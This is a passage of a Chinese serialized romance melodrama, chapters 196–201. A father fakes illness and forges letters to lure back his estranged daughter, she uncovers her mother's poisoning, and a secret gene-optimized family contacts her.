那是……江晚絮。
原来,晚絮也是被期待着来到这个世界的。
原来,父亲并不是一开始就那么冷血。
如果是这样,那后来的一切,是不是有什么误会?是不是因为生活的重压,才让父亲变成了那个样子?
江明哲吸了吸鼻子,目光落在了那个角落里的一张小纸条上。
纸条是附在那枚锈迹斑斑的钥匙上的。
“我在老宅的那棵槐树下,埋了一个时光胶囊。这把钥匙,是留给女儿的一份念想。——方颖”
江明哲合上盖子,转头看向病床上的老人。
**嵩此刻正歪着头,浑浊的眼睛盯着那个盒子。
“我现在就去找晚絮。”
江明哲抹了一把脸,眼神变得坚定起来,“晚絮如果看到这些,知道你曾经这么爱妈妈,知道你也曾经期待过她的降生,她一定会心软的。”
“毕竟……血浓于水啊。”
走出病房的时候,江明哲觉得自己脚步沉重,却又带着一种神圣的使命感。
**的是,就在病房门关上的那一刹那。
原本还在流泪抽搐的**嵩,那双浑眼睛里哪里还有半点悔恨?
放在被子下的手,也不再颤抖,而是稳稳地按了一下床边的呼叫铃。
没过多久,一个穿着白大褂的老医生推门进来,神色匆匆。
“*
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*,演得怎么样?那小子信了吗?”
**嵩扯了扯嘴角,虽然还是有些歪,但说话已经流利了不少:“哼,明哲这孩子,就是心软,好骗。几封找人代写的破信,就把他感动得痛哭流涕。”
“那药……”老医生有些犹豫。
“继续用。”**嵩眼里闪过一丝狠戾,“只要能让那个不孝女回来,只要能翻盘,我就算真瘫痪几个月又怎么样?!”
江明哲抱着那个装满“父爱”的盒子,驱车驶向了顾彦廷的别墅。
顾彦廷的半山别墅,灯火通明。
江晚絮窝在沙发里,手里捧着一杯热牛奶,有些心不在焉地看着电视上的节目。
顾彦廷坐在她旁边,正在剥一只橘子。
“张嘴。”
顾彦廷将一瓣剥得干干净净的橘子递到她嘴边。
江晚絮机械的张嘴,咬了一口。
“好酸。”她皱了皱眉。
“酸?”顾彦廷挑眉,自己吃了一瓣,“明明很甜。看来顾太太这味觉是被我不小心养刁了。”
江晚絮刚想反驳,门口突然传来了佣人的声音。
“先生,太太,外面有位姓江的先生,说是……太太的哥哥,一定要见太太一面。”
江晚絮的动作一顿。
顾彦廷眼底的笑意瞬间凝固。
“让他滚。告诉他,这里的地砖是从意大利空运过来的,怕他踩脏了。”
佣人愣了一下,随即低头:“是。”
“等等。”
江晚絮放下了手中的牛奶杯。
她转头看向窗外漆黑的夜色,声音很轻,却很坚定,“让他进来吧。”
“絮絮?”顾彦廷不赞同地看着她。
“有些事,总要有个了结。”江晚絮扯了扯嘴角,“而且我也想看看,他到底想干什么。”
顾彦廷盯着她看了一会儿,最终叹了口气,把她往怀里搂了搂。
“行,听你的。要是他敢废话,我直接让保镖把他扔下山喂狼。”
几分钟后,江明哲浑身湿漉漉地走了进来。
第196章 永远不要相信他
江明哲没打伞,头发贴在额头上,看起来狼狈不堪。
“如果你是来给那个老东西当说客的,那就不用进来了。”
顾彦廷连眼皮都没抬一下,一边漫不经心地玩着江晚絮的手指,一边冷冷地开口。
江明哲深吸一口气,没有理会顾彦廷的嘲讽。
他走到茶几前,小心翼翼地把怀里的盒子放下来,推到江晚絮面前。
“晚絮,我知道你不信。”
江明哲的声音有些沙哑,“其实我也很难相信。但这是爸没有多少时间了,这是他特意让我拿给你的。”
顾彦廷嗤笑一声,“祸害遗千年,他那种人,阎王爷都怕脏了手,哪那么容易死。”
江明哲咬了咬牙:“顾总,请留点口德!不管怎么说,他也是晚絮的亲生父亲!”
“亲生父亲?”
一直沉默的江晚絮突然笑了。
那笑容极淡,却透着彻骨的凉意。
“他配吗?”
“晚絮!”江明哲急切地打开盒子,“你看!你看看这些!”
那些泛黄的信件,和张模糊的B超照片,就这样毫无防备地撞进了江晚絮的视线里。
江明哲指着那些信,语速极快,生怕被打断:
“这是爸年轻时写给妈的情书!”
“还有这个,这是你没出生时的B超照片,背面是妈妈亲手写的字!”
“晚絮,或许我们都误会他了。或许他只是……只是太笨拙,不懂得怎么表达。现在他都要走了,也只想让你看看这些,让你知道,你不是没人爱的孩子……”
江晚絮的目光,略过那些所谓的情书,定格在那张B超照片上。
那是妈妈的字。
【我的宝贝女儿,妈妈爱你。】
眼泪毫无预兆地砸了下来。
“晚絮……”江明哲见状,心里一喜,以为她动摇了,“爸说,这还有把钥匙,是妈妈当年在你出生前埋下的时光胶囊。”
“他还说,他对不起你。”
“你就……去见他最后一面吧,好不好?哪怕是为了妈妈?”
江明哲言辞恳切,眼眶通红,一副全是为你好的模样。
顾彦廷感觉怀里的人在微微颤抖。
他刚想开口把这该死的盒子扔出去,江晚絮就动了。
她伸出手拿起了那张照片和那枚生锈的钥匙。
“江明哲。”
她开口。
“你觉得,几封死无对证的情书,一个埋在土里的破罐子,就能抵消我这二十年受的罪吗?”
“就能抵消我被抽走的血,被打断的腿,被毁掉的人生吗?”
江明哲僵住了:“我不是那个意思,我是说……”
“盒子我收下了。”
江晚絮把照片紧紧攥在手心,那是妈妈留下的东西,她不能不要。
“至于人……”她冷冷一笑,“你可以滚了。”
“晚絮!”江明哲不可置信。
“听不懂人话?”
顾彦廷猛地站起身,高大的身影瞬间笼罩住了江明哲,那股强大的压迫感让江明哲下意识地退后了两步。
“拿着你的虚情假意,滚出我的房子。”
“再多说一个字,我就让人把你舌头割下来。”
顾彦廷眼里的杀意不是假的。
江明哲吓得脸色惨白,最后看了一眼那个盒子,只能狼狈地转身离去。
等到大门重新关上,江晚絮终于瘫软在沙发上。
“晚晚……”顾彦廷心疼地抱住她。
“顾彦廷。”
江晚絮看着手里的钥匙,声音轻得像是在梦呓。
“带我去老宅吧。”
“我想看看,妈妈到底埋了什么。”
“如果不去,我这辈子……都不会死心。”
江家老宅。
那棵老槐树,就孤零零地立在院子的角落里,树干粗壮,枝叶繁茂,在夜色中投下巨大的阴影。
雨下得更大了。
顾彦廷撑着一把黑伞,遮在江晚絮的头顶,另一只手里提着一把铁锹。
“确定要挖?”
顾彦廷看着江晚絮,眉头紧锁,“这种体力活,我可以叫保镖来。”
“不。”
江晚絮摇摇头,“我要自己来。”
那是妈妈留下的东西。
顾彦廷没再说话。
他把伞柄塞进江晚絮手里,卷起袖口,拿起铁锹就开始挖。
大概过了十几分钟。
“当——”
铁锹触碰到了什么硬物,发出沉闷的声响。
顾彦廷蹲下身,徒手拨开周围的泥土,从坑底提溜出一个生锈的铁盒子。
盒子不大,看起来确实有些年头了,上面的锁早已锈死。
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“给我。”
江晚絮扔掉伞,甚至顾不上雨水打湿了衣服,几乎是扑过去抢过了那个盒子。
她拿出那枚钥匙,颤抖着手往锁眼里插。
插不进去。
锈得太厉害了。
“我来。”
顾彦廷接过盒子,也没用钥匙,直接从旁边捡起一块石头,对着锁扣狠狠砸了下去。
“啪嗒”一声。
锁开了。
江晚絮感觉自己的呼吸都要停止了。
顾彦廷拿起伞,撑在江晚絮头顶,免得雨水将东西打湿,然后掏出手机打开了手电筒。
借着顾彦廷手机的手电筒光,江晚絮看清了里面的东西。
是一个用油纸层层包裹的小本子。
那本子的封面已经发霉了。
江晚絮翻开第一页。
字迹很潦草,透着一种极度的恐慌和绝望,和B超照片上那温柔的小楷判若两人。
“199X年6月。我怀孕了。但我不敢告诉任何人,尤其是**嵩。昨天我在书房门口,听到他在打电话。原来……原来他早就和柳芸在一起了。柳芸也怀孕了,她甚至比我早两个月怀孕。”
江芊妤比自己大两个月这件事,林静琬早就告诉过自己。
可尽管如此,江晚絮看到这段话,依然觉得心里一阵刺痛。
她的手抖得几乎拿不住本子,她飞快地往后翻。
每一页,都是母亲绝望的呐喊。
“8月。他开始给我喂药了。他说那是安胎药,但我吃完总是昏昏沉沉,甚至出现了幻觉。我偷偷藏了一颗去找医生化验,那是……那是高浓度的抗精神病药物。”
“10月。我想逃。可是他把我关起来了。他对着外人说我有精神病,有严重的抑郁症。没人信我……没人信我……”
“晚絮……我的女儿。妈妈可能撑不到看着你长大了。如果你能看到这封信,记住妈妈的话。”
翻到最后一页,那里的字迹是用血写成的,触目惊心。
“我如果意外死亡,必是**嵩所为!他在我的饭菜里下了毒,他想让我死,好给柳芸腾位置!”
“晚絮,逃!逃得越远越好!永远不要相信**嵩!”
“如果你看到了这封信,千万不要回头!不要报仇!只要你能活着……妈妈就知足了……”
第197章 为什么要骗我!
江晚絮看完方颖的信,久久没有抬头。
一阵剧烈的恶心感突然从胃里翻涌而上。
江晚絮捂着胸口,那种恶心感像是要连着五脏六腑都吐出来。
“晚晚!”顾彦廷一把接住她摇摇欲坠的身体,“你怎么了?哪里不舒服?”
江晚絮张了张嘴,想要说话,却发现喉咙里像是堵了一团棉花,发不出任何声音。
腹部突然传来一阵尖锐的坠痛。
像是有什么重要的东西,正在从她的身体里剥离。
江晚絮抓着顾彦廷的衣襟,咬着牙低声说,“肚子……好痛……”
顾彦廷低头一看,整个人瞬间呆住了。
哪怕是在黑夜里,哪怕是在大雨中。
他也看到了。
地上有血迹,是顺着江晚絮的腿留下来的。
“林舟!车!”
他高声喊着,扔掉雨伞一把将人抱起,往外冲去。
市一院,急诊室。
顾彦廷站在走廊里,浑身湿透。
他的眼眶通红,拳头也用力攥着,一言不发地站在那儿。
“砰——”
抢救室的门终于开了。
顾彦廷瞬间冲了上去,一把揪住医生的领子:“她怎么样?!”
医生是个上了年纪的主任,被他这副模样吓了一跳,连忙扶了扶眼镜:“顾、顾总,请冷静!病人没事。”
顾彦廷的手稍微松了一些,但依然紧绷:“那她……”
“顾太太怀孕了。”
医生的一句话,让顾彦廷整个人僵在了原地。
大脑有那么一瞬间的空白。
怀孕?
他和晚晚……有孩子了?
“已经六周了。”医生叹了口气,语气严肃起来,“但是因为病人情绪受到极度刺激,加上之前……身体底子太差,有严重的先兆流产迹象。”
“现在的建议是必须绝对卧床静养,不能再受任何刺激。”
六周。
那就是在一个多月前。
那时候,她还在为了那个所谓的实验项目熬夜,还在**家人各种刁难。
而今天。
那个该死的江明哲,拿着那个该死的盒子,差点害**他的妻子和孩子!
好。
很好。
既然你们找死,那就别怪我手下无情。
病房里。
江晚絮还没醒,安静地躺在床上打着点滴。
她的眉头紧紧皱着,哪怕是在睡梦中,也极其不安稳。
顾彦廷坐在床边,轻轻握着她冰凉的手,放在唇边吻了吻。
“对不起,晚晚,是我没保护好你。”
他看着她平坦的小腹,那里孕育着一个小生命。
那是他和晚晚的孩子。
是他们在经历了那么多苦难之后,上天给的一点补偿。
可是差点……差点就没了。
林舟捧着一个平板电脑走进来,轻声说,“顾总,鉴定结果出来了。”
顾彦廷没说话,只是伸出手。
平板屏幕上,是一份加急的碳-14鉴定报告和墨迹光谱分析。
“信纸虽然做了做旧处理,用了陈茶水浸泡烘干,但纸张纤维里的荧光剂成分是2020年以后才广泛使用的型号。”林舟擦了擦额头的冷汗,“还有那个墨水,看着像那个年代的碳素墨水,但主要成分……是上周才出厂的某品牌签字笔墨囊,兑了水。”
“呵。”
顾彦廷发出一声冷笑,“上周出厂的墨水,写出了二十几年前的情书?”
他转过身,看向守在门口的江明哲。
江明哲还沉浸在自己感动的世界里。
他觉得妹妹差点流产,很可能是太激动了。
只要他替爸爸解释清楚,一定能治愈晚絮。
“顾总……”江明哲见顾彦廷走过来,连忙迎上去,“晚絮怎么样了?我想进去看看她,跟她解释清楚,爸真的是爱她的,那些信……”
“啪!”
一沓纸狠狠地甩在了江明哲的脸上。
江明哲被打蒙了,信纸散落一地,那张被他视若珍宝的“B超照片”也飘到了脚边,背面那行“妈妈爱你”的
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字迹,此刻显得格外刺眼。
“顾彦廷!你疯了吗?!”江明哲怒吼,“这里是医院!”
“你也知道这里是医院?”顾彦廷逼近一步,“你也知道里面躺着的是你亲妹妹,肚子里还怀着差点被你们害死的孩子?”
“我说了那是误会!我是为了让她知道爸的苦心……”
“苦心?你是说这几张用上周出厂的墨水伪造的苦心吗?”顾彦廷指着地上的报告,“睁大你的狗眼看清楚!这就是你口中感动天感动地的‘父爱’!”
江明哲浑身一僵,颤抖着捡起地上的鉴定报告。
【纸张生产年份推定:2022-2023年区间】
【墨迹氧化程度:不足72小时】
【结论:伪造品】
“不……不可能……”江明哲哆嗦着嘴唇,“这可是爸从那个紫檀木盒子里拿出来的……那个盒子明明上了锁……”
“造旧这种把戏,潘家园路边的老头都比**嵩玩得好。”顾彦廷眼神鄙夷,像是在看一个智障,“江明哲,你也是搞科研的,这点脑子都没有吗?他连对你母亲的感情都敢伪造,连死去的人都利用,就为了骗晚絮?他到底安的什么心?!”
“你以为他是快**才幡然悔悟?呵,简直是笑话!”
江明哲盯着屏幕,下意识地摇了摇头。
如果这一切都是假的……
那他刚刚做了什么?
他拿着几张废纸,差点逼**自己在这个世界上唯一的亲妹妹!
“我去找他……”江明哲双眼通红,“我要去问问他!为什么要骗我!为什么要这么对晚絮!”
看着江明哲跌跌撞撞冲向电梯的背影,林舟有些担忧:“顾总,要拦着吗?”
“拦什么?”顾彦廷整理了一下袖口,眼神淡漠,“狗咬狗的戏码,正是精彩的时候。不过……”
他回头看了一眼紧闭的病房门,眼神瞬间变得温柔又痛惜。
“别让晚絮知道。她现在的身体,再也经不起第二次折腾了。”
第198章 魔鬼的真面目
市三院。
**嵩靠在床头,右手灵活地拿着一个削好的苹果,评价道,“这苹果不错,甜。”
旁边的医生赔着笑:“那是,**的。**啊,你这招‘苦肉计’加‘怀旧杀’真是绝了。我看明哲那小子出去的时候哭得稀里哗啦的,估计那丫头很快就能心软回来了。”
“哼,那丫头就是贱骨头,随她那个短命鬼妈。”**嵩吐出一块苹果皮,眼里闪着精光,“只要她回来,把你那药给她灌下去,到时候把她手里的专利权转给我,我拿去卖掉,江家就能起死回生!”
“砰——!”
病房的门在此时被人一脚踹开。
**嵩吓得手一抖,半个苹果掉在被子上。
他下意识地想要装歪嘴,结果看到冲进来的人是江明哲,动作僵在了一半。
江明哲站在门口,浑身湿透。
他手里,还拿着林舟打印的鉴定报告。
他看着那个动作敏捷、面色红润,哪里还有半点“偏瘫”样子的父亲,只觉得一股寒气从脚底板直冲天灵盖。
“爸……”江明哲声音颤抖,“你的手……好了?”
**嵩愣了一下,随即眼珠子一转,索性不装了。
“既然你看到了,我也懒得演了。”**嵩往后一靠,眼神阴冷,“没错,我是装的。信也是假的。那又怎么样?”
“怎么样?!”江明哲冲过去,把那份报告摔在他面前,“妈都**那么多年,你竟然还利用她?你还利用了我对晚絮的愧疚!你知不知道晚絮刚才差点流产了!那是你亲外孙啊!”
“流产?”**嵩不仅没有担心,反而冷笑一声,“流了更好!你敢说那个顾彦廷不是在利用她?孩子没了好啊,要是带着个拖油瓶,以后怎么嫁给梁总换彩礼?”
“你……”江明哲不可置信地后退两步,“你是魔鬼吗?晚絮也是你的女儿啊!她在你眼里到底算什么?商品?物件?”
“她是我的耻辱!”**嵩突然暴怒,脖子上青筋暴起,“当年要不是因为方颖那个**手里捏着技术死活不肯交出来,我会娶那个疯婆子?我会忍气吞声这么多年?江晚絮那个小贱种,长得跟她妈一模一样,每次看到她,我就想起那个压了我半辈子的女人!”
“明哲!”**嵩缓了口气,开始道德**,“你是江家的儿子,芊妤才是你真正需要疼爱的妹妹。那个江晚絮现在要把我们江家搞破产了,你难道要眼睁睁看着我和你大哥二哥去睡大街吗?”
“帮我把她骗回来!只要拿到她的印章,一切都结束了!”
江明哲看着眼前这个男人,忽然就觉得有些恶心。
这就是他敬重了三十年的父亲。
这就是他刚才信誓旦旦在晚絮面前担保的“父爱”。
太恶心了。
江明哲举起拳头,真的很想一拳砸在那张脸上。
可是,当他看到**嵩鬓角的白发,看到那依然挂着点滴的手背,那股冲天的怒火,竟然在最后关头变成了深深的无力。
这是他爸啊……
哪怕是个混蛋,也是生养他的爸。
如果现在揭穿这一切,告诉晚絮真相,依照晚絮现在的身体状况,真的能承受住这种打击吗?
哪怕是恨,至少“父亲曾经爱过我”这种谎言,是不是比“父亲一直想弄死我”要温情一点?
江明哲的拳头慢慢松开了。
“爸……”江明哲低下头,声音带着哭腔,“你收手吧。晚絮已经很惨了。”
“我不会揭穿你装病的事,也不会告诉晚絮那些信是假的。”
江明哲抬起头,“就让晚絮以为,你真的爱过她吧。这对她来说……或许是个安慰。”
“但我以后,再也不会帮你害她了。”
说完,江明哲转身就走。
身后传来**嵩得意的狂笑:“哈哈哈哈!我就知道!明哲,你终究是姓江的!哈哈哈哈!”
江明哲逃也似的离开了病房。
半山别墅。
医生刚刚给江晚絮打了一针保胎针,她脸色苍白如纸,手背上全是青紫的针眼。
因为常年营养不良加上之前的抽血**,她的血管细得几乎找不到。
江明哲站在门外,低着头,不知道在想什么。
顾彦廷坐在床边的沙发上,手里把玩着那个打火机,眼神阴鸷地盯着江明哲。
如果不是晚絮还没睡熟,他早就让人
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把这货扔下山了。
“哥……”
病床上,江晚絮费力地睁开眼。
“你来了。”
江明哲心里一痛,下意识地避开了她的视线。
“晚絮,我……”江明哲喉咙发紧,想起父亲那张狰狞的脸,又想起顾彦廷摔在他脸上的鉴定报告。
说啊!告诉她真相!
告诉她那个老东西是个彻头彻尾的**!
可是话到嘴边,变成了——
“晚絮,爸他是真的很想你。他……他可能是老糊涂了,以前才会对你那样。那些信……那些信都是真的。爸他只是不善表达。”
江明哲挤出一个比哭还难看的笑容,“医生说他没多少日子了。你就……别恨他了,好吗?恨一个人太累了,哥希望你开开心心的。”
顾彦廷把玩打火机的手猛地一顿。
“咔嚓”一声。
火苗窜起,映照着他眼底滔天的怒火。
这个蠢货!
这就是所谓的“高知分子”?这就是所谓的“为你好”?
把屎包装成巧克力喂给受害者吃,还美其名曰“补充能量”?
顾彦廷刚要起身,却感觉到衣袖被人轻轻拽了一下。
江晚絮拉住顾彦廷,然后看向江明哲,眼睛里一片悲凉。
“我知道了,哥。”江晚絮轻轻闭上眼,声音虚弱,“你回去吧。告诉他……我不恨了。但我也不想见他。”
她太累了。
累到不想去深究,累到哪怕是一个虚假的泡沫,她也愿意暂时蜷缩在里面,假装自己也是被爱过的。
“好好好,不见就不见!”江明哲如释重负,“那你好好养胎,哥改天再来看你。”
等到江明哲离开,顾彦廷心疼地握住她的手,放在唇边吻了吻,“晚晚,如果不信,我们就……”
“顾彦廷。”
江晚絮打断了他,没有睁眼,眼角却滑落一滴清泪。
“是真的也好,假的也罢。只要我不去拆穿,它就是个梦。”
“我不想把最后一点力气,浪费在去恨那群人身上。”
“我累了,真的好累。”
看着她蜷缩成小小的一团,顾彦廷的心脏像是被什么给狠狠揉碎了。
第199章 疯了更好
接下来的几天,江晚絮在别墅里过上了与世隔绝的日子。
顾彦廷甚至还没收了她的手机,切断了她与外界的一切联系,只为了让她绝对静养。
直到第三天深夜。
江晚絮因为腿部的旧伤隐隐作痛睡不着,顾彦廷正半跪在床边帮她热敷按摩。
“叮咚——”
早已被顾彦廷静音的笔记本电脑,亮起了一道幽蓝的光。
那是江晚絮专用的加密邮箱提示音。
特殊的频率,意味着极高的优先级。
江晚絮神色一凛,就要起身。
“躺好。”顾彦廷按住她,眉头紧锁,“天塌下来,也没有你的身体重要。”
“不是实验室。”
江晚絮盯着屏幕上那个特殊的标志——一只展翅欲飞的银色百灵鸟,周围环绕着复杂的几何星纹。
“是M。”
“M?”顾彦廷挑眉,把电脑拿过来放在小桌板上。
邮件里,是一个简洁的视频通话邀请链接,以及一行醒目的红色代码。
【AuthenticationCode:DAWN-1974(验证码:晨曦-1974)】
江晚絮的手指颤抖了一下。
“点开吗?”顾彦廷察觉到了她的异常,大手包裹住她冰凉的小手,“不想接就不接,有我在,没人能强迫你。”
“接。”
江晚絮深吸一口气,眼中闪过一丝决绝,“我想知道我的亲外婆到底经历了什么。”
随着回车键敲下。
屏幕闪烁了几下,连接上了加密卫星信号。
画面逐渐清晰。
背景是一间极具古典欧式风格的书房,墙壁上挂着巨大的油画,壁炉里烧着火。
镜头前,坐着一位头发银白的妇人。
虽然岁月在她脸上留下了痕迹,但那一身优雅高贵的气质却无法掩盖。她穿着一件深紫色的丝绒长裙,脖子上戴着一条祖母绿项链。
让顾彦廷有些震惊的是,这位老妇人的眉眼,竟然和江晚絮,或者说和去世的方颖,有着惊人的七分相似!
“晚上好,我的孩子。”
老妇人开口了,标准的中文,带着一点点老派的口音。
她看着江晚絮,渐渐地,眼眶就泛了红。
“太像了……简直和阿颖年轻时候一模一样。”
江晚絮抓紧了被单:“你是谁?怎么会认识我妈妈?”
老妇人优雅地拿起手边的红茶杯,抿了一口,似乎在平复情绪。
“自我介绍一下。”
“我是玛格丽特·陈。按照你们中国的辈分,你应该叫我一声姨妈。”
“当然,你可以直接叫我M姨。”
“我是你母亲的堂姐,来自……‘晨曦家族’。”
“晨曦家族?”顾彦廷眉头皱得更深了。
哪怕他在京圈权势滔天,甚至在海外也有不少产业,却从未听说过这个家族。
“顾先生不必查了。”
屏幕里的M姨仿佛看穿了顾彦廷的心思,淡淡一笑,“晨曦家族在三百年前就已经隐世。我们的存在,只存在于各国最高机密的档案室里。”
M姨放下了茶杯,神色变得严肃起来。
“晚絮,你知道为什么你从小就展现出惊人的科研天赋吗?你知道为什么那些别人需要花费数十年才能攻克的难题,在你眼里就像是搭积木一样简单吗?”
江晚絮愣住了。
她确实从小就被称为天才。三岁识字,五岁解方程,十五岁就被顶尖大学破格录取。
她一直以为这是努力的结果。
“那不是天赋。”M姨的声音带着一种宿命般的叹息,“那是‘优化’。”
“三百年前,晨曦家族掌握了一种特殊的‘基因优化技术’。这种技术能大幅度提升大脑皮层的活跃度,增强记忆力和逻辑运算能力。我们家族的每一代,都会挑选一位‘传承者’,植入这种显性基因标记。”
“你的外婆陈曦,就是那一代的传承者。”
江晚絮只觉得脑子里嗡嗡作响,像是在听天方夜谭。
“那……那我妈妈……”
“49年前。”M姨眼神变得悠远而痛恨,“家族内
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部出了叛徒,企图将这项技术卖给一家跨国财团。为了保护核心数据,你的外婆陈曦,带着刚满两岁的女儿——也就是你母亲方颖,携带部分加密数据逃往了中国。”
“从此销声匿迹,没有踪迹。”
“我们找了你们四十九年。”
M姨看着江晚絮,眼中满是怜惜,“没想到,再找到的时候,阿颖已经……甚至连你,都被折磨成这个样子。”
江晚絮感觉浑身发冷。
原来,母亲不是什么普通的小镇姑娘。
原来,自己这些年受的苦,竟然源于那个让人嫉妒的“天才大脑”。
“这种基因,有副作用,对吗?”
一直沉默的顾彦廷突然开口,一针见血。
天下没有免费的午餐。
超高的智商,必然伴随着代价。
M姨赞赏地看了顾彦廷一眼:“没错。”
“优化基因虽然强大,但极不稳定。它要求携带者必须拥有极其稳定的情绪环境。一旦遭遇精神**、极端压力或是强烈的情感创伤……”
M姨顿了顿,语气变得格外沉重。
“就会引发‘解离性障碍’。轻则记忆错乱、情感缺失。”
“重则……人格**,彻底疯癫。”
顾彦廷转头看向江晚絮。
精神**?极端压力?强烈情感创伤?
这不就是江晚絮这五年,甚至这十年来在江家经历的一切吗?!
怪不得……怪不得晚絮有时候会展现出一种近乎冷血的冷静,甚至在极度痛苦时会短暂地失忆。
“晚絮。”M姨在屏幕那头,神色焦急,“这就是我急着联系你的原因。”
“根据家族监测,你的精神阈值已经到了临界点。如果不立刻进行干预治疗,或者继续待在这个让你痛苦的环境里……”
“你会毁了自己的。”
江晚絮低头看着自己高隆起的小腹。
“我不怕。”江晚絮抬起头,惨然一笑,“疯了更好。”
“既然正常人斗不过这群魔鬼。那就让我变成比他们更可怕的疯子吧。”
第200章 不能查!
视频连线还没有挂断。
“晚絮,家族基因虽然是馈赠,也是诅咒。”
M姨的手指在键盘上敲击了几下,一份加密文件传输到了这边的电脑上。
进度条走完,跳出一个黑色的弹窗。
上面赫然印着一个红色的天平标志,天平的一端,是一把滴血的**。
“这个标志,叫‘涅墨西斯’。”M姨的声音不自觉压低了些,“国际上最神秘的生物科技财团,也是当年逼死你外婆的罪魁祸首。”
江晚絮靠在床头,整个人都有些木然。
“他们,一直没放弃?”顾彦廷开口。
“从未。”M姨叹了口气,“晚絮,我查到,你最近在《自然》副刊上发表的那篇关于神经元再生的论文,已经被‘涅墨西斯’旗下的学术机构红标了。他们的数据模型监测到了你研究成果里的‘晨曦’特征。”
江晚絮指尖微颤,点开了那个文件夹。
里面是一叠偷拍的照片。
照片的背景,竟然是江家老宅的废弃后院,还有她曾经住过的那个阴暗潮湿的阁楼。
时间显示:三个月前。
“三个月前,有一批不明身份的人潜入过江家。”M姨语出惊人,“他们在搜寻妹妹有可能会留给你母亲的东西。晚絮,你以为你母亲当年的死,真的是因为难产吗?”
听到这里,江晚絮瞬间坐直身子,却因为动作太急,眼前一黑,踉跄着倒在了一边。
“晚晚!”
顾彦廷眼疾手快,一把将她捞进怀里。
“别急,听姨妈说。”顾彦廷吻了吻她冰凉的额头,转头看向屏幕时,眼里的杀意不再掩饰,“把话说清楚。”
M姨不再隐瞒:“当年阿颖去世后,我曾让人秘密提取过她的部分组织样本。虽然年代久远,但现在的技术能检测出微量残留。”
“她的血液里,含有一种罕见的神经毒素。这种毒素会造成凝血功能障碍,伪装成产后大出血的假象。”
“你说什么……”
江晚絮的声音在颤抖,眼泪也掉了下来,砸在顾彦廷的手背上,烫得他手一缩。
“妈妈是被……害死的?”
不是因为身体不好。
不是因为她是扫把星。
是有人,故意给她下了毒!
“是谁?”江晚絮死死抓着顾彦廷的衣领,强忍着怒意问道,“是谁这么狠毒?”
M姨摇了摇头:“还在查。但这种毒素,很难搞到。而且它的有效期很短,只有身边人才有机会成功。”
身边人。
身边人能有谁?
除了那个把她视作耻辱的父亲,还能有谁?
视频挂断了。
江晚絮蜷缩在顾彦廷怀里,手下意识地护着肚子。
“顾彦廷……”
“我在。”
“妈妈是被毒死的。那我呢?”江晚絮抬起头,眼睛里满是破碎的绝望,“他们是不是也想让我死?”
顾彦廷心口一窒。
“谁敢动你一根头发,我刨了他家祖坟!”
他拿出手机,拨通了林舟的电话。
“给我查那个‘涅墨西斯’。不管花多少钱,我要他们的名单。”
挂了电话,顾彦廷低头,看着怀里瑟瑟发抖的小女人。
他伸手,轻轻擦去她眼角的泪。
“晚晚,别怕,我在。”
江晚絮闭上眼,眼泪顺着脸颊滑落进枕头里。
“我不怕死。”
她轻声呢喃,声音轻得像风一吹就散了。
“我只是……替妈妈不值。”
两天后。
晚星科技。
虽然顾彦廷强烈反对,但江晚絮还是坚持要来公司。
她不想当个废人,更不想在这个关头,把自己关在笼子里。
苏洛敏看到江晚絮的时候,眼圈瞬间就红了。
“晚絮,你怎么瘦成这样了……”
眼前的江晚絮,穿着一件宽大的米色风衣,却依然遮不住那消瘦的身形。
她的脸色很苍白,手腕细得仿佛一折就断,如果不是顾彦廷一路小心翼翼地扶着,苏洛敏都怕一阵风把她吹倒。
“我没事。”江晚絮勉强笑了笑。
顾彦廷立刻眉头紧锁,熟练地拧开保温杯递到她嘴边。
“三哥来了吗?”江晚絮喝了口热水,声音有些沙哑。
“来了,在会议室等你。”苏洛敏压低声音,“明哲哥看起来……脸色也不太好。”
自从江晚絮
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从瑞士回来后,顾彦廷就动用关系把苏洛敏安排在晚星科技做副总裁。
对此,苏洛敏是乐意的。
既能拿高额薪水,又能帮助江晚絮,两喜临门。
推开会议室的门。
江明哲正坐在落地窗前发呆。
听到动静,他回过头,看到江晚絮被顾彦廷扶着走进来,眼神里闪过一丝慌乱和愧疚。
“晚絮……”江明哲站起身,有些手足无措,“你身体不好,怎么不在家多休息?”
江晚絮在主位坐下,顾彦廷顺手在她背后塞了一个软枕,然后像尊煞神一样坐在她旁边盯着江明哲。
“哥,我有事要跟你说。”
江晚絮开门见山,没有任何寒暄。
她把一份并没有完全解密、但也足够震撼的资料,推到了江明哲面前。
“这是关于妈妈身世的资料。”
江晚絮的声音很平静。
“妈妈不是普通人,她来自一个隐世家族。而她的死……也不是意外。”
江明哲翻看着资料,手抖得越来越厉害。
“这……这是什么意思?”
“神经毒素?”江明哲不可置信地抬头,镜片后的眼睛瞪得滚圆,“你是说,妈是被毒死的?”
“是。”江晚絮盯着江明哲的眼睛,“我想重新调查当年妈妈去世那天的所有细节。包括当时在场的医生、护士,还有……家里的佣人。”
江明哲感觉喉咙发干。
如果这件事是真的,那凶手会是谁?
家里除了爸,还有谁有动机,有能力做这种事?
他突然想起那天在病房里,父亲那张狰狞的脸,那句“方颖那个**”。
还有父亲伪造的情书,伪造的深情。
如果连爱都是假的,那……**,是不是也有可能是真的?
一股寒气从脚底直冲天灵盖。
江明哲看着眼前虚弱却坚定的妹妹,心里却翻起了惊涛骇浪。
不能查。
如果真的查出来是爸干的……那……
大哥的日子已经很艰难了,二哥又进了监狱,芊妤连律师都请不起,终审的结果最差也是无期。
要是爸再出事,江家仅靠他一个人还能东山再起吗?
第201章 为虎作伥
“晚絮……”江明哲咽了口唾沫,挤出一个笑容,“这资料……可靠吗?会不会是误诊?毕竟都这么多年了……”
“哥。”
江晚絮打断了他。
她看着这个从小对自己还算温和的三哥,眼神里带着一丝期待。
“我只想求一个真相。”
“我想让你帮我,联系一下以前家里的那个老司机,刘叔。还有负责照顾妈妈的张妈。你是家里唯一还能联系到他们的人了。”
顾彦廷坐在一旁,手里把玩着那个金属打火机,“咔哒、咔哒”的声音在安静的会议室里格外刺耳。
他没说话,只是似笑非笑地盯着江明哲。
江明哲被他盯得头皮发麻。
一边是可能**的父亲和摇摇欲坠的家族名声。
一边是差点被父亲逼死、现在只求一个真相的亲妹妹。
良知和私心在疯狂拉扯。
最终,江明哲避开了江晚絮的视线。
“好。”
江明哲咽了下口水,艰难地开口,“我帮你找。但是你也知道,那些老佣人早就散了,刘叔也回老家了,可能……需要一点时间。”
江晚絮眼里的光亮了一下。
“谢谢哥。”
她伸出手想要去握江明哲的手。
江明哲却像被烫到一样,下意识地缩回了手。
看着妹妹落空的手,江明哲心里一阵刺痛,但他只能硬着头皮说:“我……我去打个电话问问。”
说完,他抓起手机,逃也似的冲出了会议室。
